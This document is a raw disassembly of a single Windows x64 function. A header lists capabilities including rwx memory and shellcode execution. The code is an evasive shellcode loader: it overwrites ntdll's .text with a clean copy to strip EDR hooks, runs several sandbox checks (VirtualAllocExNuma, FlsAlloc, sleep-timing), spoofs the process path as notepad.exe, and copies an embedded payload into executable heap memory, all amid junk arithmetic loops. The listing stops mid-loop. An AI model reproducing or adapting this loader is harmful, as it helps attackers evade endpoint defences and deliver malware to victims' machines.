Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x968
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8d0], xmm6
mov dword [rbp + 0x910], ecx
mov qword [rbp + 0x918], rdx
call fcn.140002f50
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x850], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x848], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x840], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8c8], rax
cmp qword [rbp + 0x8c8], 0
jne 0x14000166d
mov ecx, 0x17a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x838], rax
mov ecx, 0x17a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x830], rax
mov dword [rbp + 0x8c4], 0
jmp 0x1400015c3
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x8c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x838]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x8c4], 1
cmp dword [rbp + 0x8c4], 0x2f3
jle 0x140001539
mov dword [rbp + 0x8c4], 0
jmp 0x140001631
mov eax, dword [rbp + 0x8c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x838]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x8c4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x830]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003f40
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x8c4], 1
cmp dword [rbp + 0x8c4], 0x2f3
jle 0x1400015df
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8c8], rax
cmp qword [rbp + 0x8c8], 0
je 0x140001b91
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x840]
mov r10, qword [rbp + 0x8c8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x828], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x820], rax
mov rax, qword [rbp + 0x820]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x818], rax
mov rax, qword [rbp + 0x818]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x810], rax
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0x808], rax
mov rax, qword [rbp + 0x808]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x828]
add rax, rdx
mov qword [rbp + 0x800], rax
mov word [rbp + 0x8c2], 0
jmp 0x140001b79
mov rax, qword [rbp + 0x800]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x800]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x8c2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b68
mov ecx, 0x4b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f0], rax
mov ecx, 0x4b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x8bc], 0
jmp 0x1400018bc
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x8bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x8bc], 1
cmp dword [rbp + 0x8bc], 0x95
jle 0x140001832
mov dword [rbp + 0x8bc], 0
jmp 0x14000192a
mov eax, dword [rbp + 0x8bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x8bc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7e8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140004020
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x8bc], 1
cmp dword [rbp + 0x8bc], 0x95
jle 0x1400018d8
mov dword [rbp + 0x5f8], 0
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x828]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x810]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x828]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov ecx, 0x6cf0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x8b8], 0
mov dword [rbp + 0x7dc], 1
mov dword [rbp + 0x8b4], 0
jmp 0x140001a78
mov dword [rbp + 0x8b0], 0
jmp 0x140001a68
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x8b4]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x7e0]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x8b0]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x8b0], 1
cmp dword [rbp + 0x8b0], 0x53
jle 0x140001a02
add dword [rbp + 0x8b4], 1
cmp dword [rbp + 0x8b4], 0x52
jle 0x1400019f6
mov dword [rbp + 0x8b4], 0
jmp 0x140001af5
mov dword [rbp + 0x8b0], 0
jmp 0x140001ae5
mov eax, dword [rbp + 0x8b4]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x7e0]
add rdx, rax
mov eax, dword [rbp + 0x8b0]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001ade
add dword [rbp + 0x8b8], 1
add dword [rbp + 0x8b0], 1
cmp dword [rbp + 0x8b0], 0x53
jle 0x140001a9d
add dword [rbp + 0x8b4], 1
cmp dword [rbp + 0x8b4], 0x52
jle 0x140001a91
cmp dword [rbp + 0x8b8], 0xd9e
je 0x140001b14
mov dword [rbp + 0x7dc], 0
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov edx, dword [rbp + 0x5f8]
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x828]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x8c2]
add eax, 1
mov word [rbp + 0x8c2], ax
mov rax, qword [rbp + 0x800]
movzx eax, word [rax + 6]
cmp word [rbp + 0x8c2], ax
jb 0x1400017a7
mov dword [rbp + 0x8ac], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x8a0], xmm0
add dword [rbp + 0x8ac], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x8ac]
movsd xmm0, qword [0x1400065d8]
addsd xmm0, xmm1
mov rax, qword [0x1400065e0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004270
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x8ac]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065d8]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x8a0]
addsd xmm0, xmm1
movsd qword [rbp + 0x8a0], xmm0
cmp dword [rbp + 0x8ac], 0x1d6
jle 0x140001ba7
movsd xmm1, qword [rbp + 0x8a0]
movsd xmm0, qword [0x1400065e8]
mulsd xmm0, xmm1
movsd qword [rbp + 0x8a0], xmm0
mov dword [rbp + 0x7d8], 0
mov ecx, 0xa58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d0], rax
mov dword [rbp + 0x89c], 0
jmp 0x140001d54
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x7d8], edx
mov edx, dword [rbp + 0x7d8]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x7d8], eax
cmp dword [rbp + 0x7d8], 0x168
jle 0x140001cda
mov eax, dword [rbp + 0x89c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001d4d
cmp dword [rbp + 0x7d8], 0
jns 0x140001d07
mov eax, dword [rbp + 0x89c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001d4d
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7d8]
movsd xmm0, qword [0x1400065f0]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x89c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0x295
jle 0x140001c73
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5fc], 0
mov rax, qword [rbp + 0x850]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5fc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7c8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x608]
add rax, 0x3c
mov qword [rbp + 0x7c0], rax
mov ecx, 0x1b18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov ecx, 0x1b18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x898], 0
jmp 0x140001ea1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x898]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x898], 1
cmp dword [rbp + 0x898], 0x362
jle 0x140001e17
mov dword [rbp + 0x898], 0
jmp 0x140001f0f
mov eax, dword [rbp + 0x898]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x898]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140004020
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x898], 1
cmp dword [rbp + 0x898], 0x362
jle 0x140001ebd
mov rax, qword [rbp + 0x7c0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
movsd xmm0, qword [0x140006600]
movsd qword [rbp + 0x890], xmm0
movsd xmm0, qword [0x140006608]
movsd qword [rbp + 0x7a8], xmm0
jmp 0x140001f78
movsd xmm0, qword [rbp + 0x7a8]
mov rax, qword [rbp + 0x890]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004270
movq rax, xmm0
mov qword [rbp + 0x890], rax
movsd xmm0, qword [0x140006610]
comisd xmm0, xmmword [rbp + 0x890]
ja 0x140001f4f
mov rax, qword [rbp + 0x7c0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x888], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x7a0], rax
cmp qword [rbp + 0x7a0], 0
je 0x140002029
mov rax, qword [rbp + 0x7a0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x798]
mov r9d, 0x3000
mov r8d, 0x3d8
mov edx, 0
call rax
mov qword [rbp + 0x888], rax
cmp qword [rbp + 0x888], 0
je 0x140002e82
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x788], rax
cmp qword [rbp + 0x788], 0
jne 0x140002e82
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov ecx, 0
call rax
mov dword [rbp + 0x77c], eax
cmp dword [rbp + 0x77c], 0xffffffff
je 0x140002e82
mov qword [rbp + 0x770], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x768]
mov r9d, 0x3000
mov r8d, 0x47f
mov edx, 0
call rax
mov qword [rbp + 0x770], rax
cmp qword [rbp + 0x770], 0
je 0x140002e82
mov dword [rbp + 0x764], 0x3e2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
call rax
mov dword [rbp + 0x74c], eax
mov eax, dword [rbp + 0x764]
mov r8, qword [rbp + 0x758]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x750]
call rax
mov dword [rbp + 0x748], eax
mov eax, dword [rbp + 0x748]
sub eax, dword [rbp + 0x74c]
cmp eax, 0x3b0
jbe 0x140002e82
mov dword [rbp + 0x744], 0x1fd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x72c], eax
mov eax, dword [rbp + 0x744]
mov r8, qword [rbp + 0x738]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x728], eax
mov eax, dword [rbp + 0x728]
sub eax, dword [rbp + 0x72c]
cmp eax, 0x1cb
jbe 0x140002e82
mov dword [rbp + 0x724], 0x2a9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x714], eax
mov eax, dword [rbp + 0x724]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x710]
sub eax, dword [rbp + 0x714]
cmp eax, 0x277
jbe 0x140002e82
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
je 0x1400023b6
mov rax, qword [rbp + 0x708]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov ecx, 0
call rax
mov dword [rbp + 0x884], eax
cmp dword [rbp + 0x884], 0xffffffff
je 0x140002e82
mov dword [rbp + 0x6fc], 0x3b5
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
call rax
mov dword [rbp + 0x6ec], eax
mov eax, dword [rbp + 0x6fc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6f0]
call rax
mov dword [rbp + 0x6e8], eax
mov eax, dword [rbp + 0x6e8]
sub eax, dword [rbp + 0x6ec]
cmp eax, 0x383
jbe 0x140002e82
mov dword [rbp + 0x6e4], 0x23a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d4], eax
mov eax, dword [rbp + 0x6e4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d0], eax
mov eax, dword [rbp + 0x6d0]
sub eax, dword [rbp + 0x6d4]
cmp eax, 0x208
jbe 0x140002e82
lea rax, [rbp + 0x140]
lea rdx, [0x140006128]
mov ecx, 0x95
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x848]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x848]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c8]
mov r8d, 0
mov edx, 0x4ae
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov r9, qword [rbp + 0x6c0]
mov r8d, 0x4ae
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x850]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x6b0]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0x4ae
mov rcx, rax
call r9
mov dword [rbp + 0x880], 0
mov dword [rbp + 0x87c], 0
mov dword [rbp + 0x878], 0
movabs rax, 0x764f1c566c087561
movabs rdx, 0xfc983b89b5277117
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x807fb516b194fb7e
movabs rdx, 0xa633d5942a7b6f35
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xd0e8467c0ec9f6db
movabs rdx, 0x2c53f65d42549b10
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x998abe1d6132f5e6
movabs rdx, 0xc9fd33ce44702872
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xa1120f1b1c2ad7
movabs rdx, 0x2bbaa4a1107c2ce4
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x91e09e482bf24f07
movabs rdx, 0x460483bc1eba89e8
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x4925e95f52b88fc9
movabs rdx, 0xb00ba0423644ac1e
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
mov dword [rbp + 0xaf], 0x1086b0
movabs rax, 0x91949d49e8c1e34c
movabs rdx, 0x62a0ce295da7fb94
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x116118ec487eef9b
movabs rdx, 0x7b7e88b914b55320
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x37209cc158358162
movabs rdx, 0x45efeba884fe83a6
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x3ee08ab4bcf3b20e
movabs rdx, 0x1bc00407d4006aa0
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x3a45be505fed0e75
movabs rdx, 0x21ce1864cce6b21f
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0xa9181d7ee7c0e210
movabs rdx, 0x33804c41560943e7
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x6aebd283cbcb50b7
movabs rdx, 0x1bdc98af73df61c
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x9f915d8001bdc9
mov qword [rbp + 0x12d], rax
jmp 0x140002d2c
mov ecx, 0x35c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x874], 0
jmp 0x140002883
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0xd6
jle 0x1400027fa
mov dword [rbp + 0x874], 0
jmp 0x1400029af
mov dword [rbp + 0x654], 0
jmp 0x140002991
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x654]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x14000298a
mov eax, dword [rbp + 0x654]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x650], xmm0
mov eax, dword [rbp + 0x874]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rdx, rax
mov eax, dword [rbp + 0x654]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
